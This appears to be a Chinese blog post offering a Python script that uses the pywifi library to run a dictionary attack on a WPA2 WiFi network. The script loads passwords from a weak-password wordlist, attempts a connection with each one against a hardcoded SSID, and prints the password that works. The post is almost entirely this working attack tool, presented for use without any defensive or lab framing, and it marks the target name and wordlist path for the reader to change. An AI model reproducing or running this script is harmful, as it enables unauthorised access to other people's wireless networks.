字典跑WIFI密码

import pywifi
from pywifi import const
import sys
import time
from asyncio.tasks import sleep


class PoJie():
def __init__(self, path):
# self.file = open(path, "r", errors="ignore")
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.iface = wifi.interfaces()[0] # 抓取第一个无限网卡
self.iface.disconnect() # 测试链接断开所有链
self.file = open(path, 'r')
time.sleep(1)

#
assert self.iface.status() in [pywifi.const.IFACE_DISCONNECTED, pywifi.const.IFACE_INACTIVE]

def readPassWord(self):
print("Start:")
while True:

try:
myStr = self.file.readline()
if not myStr:
break
bool1 = self.test_connect(myStr)
if bool1:
print("密码正确:", myStr)
break
else:
print("密码错误:" + myStr)
time.sleep(3)
except:
continue

def test_connect(self, findStr): # 测试链接

profile = pywifi.Profile() # 创建wifi链接文件
# ==================修改部分1======================
profile.ssid = "CMCC-fqFP" # wifi名称
# =================================================
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = findStr # 密码

self.iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
self.iface.connect(tmp_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

# 消除进程自动关闭文件句柄
def __del__(self):
self.file.close()


# =========================修改部分2==========================================
path = "./弱口令.txt"
# ============================================================================
start = PoJie(path)
start.readPassWord()
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值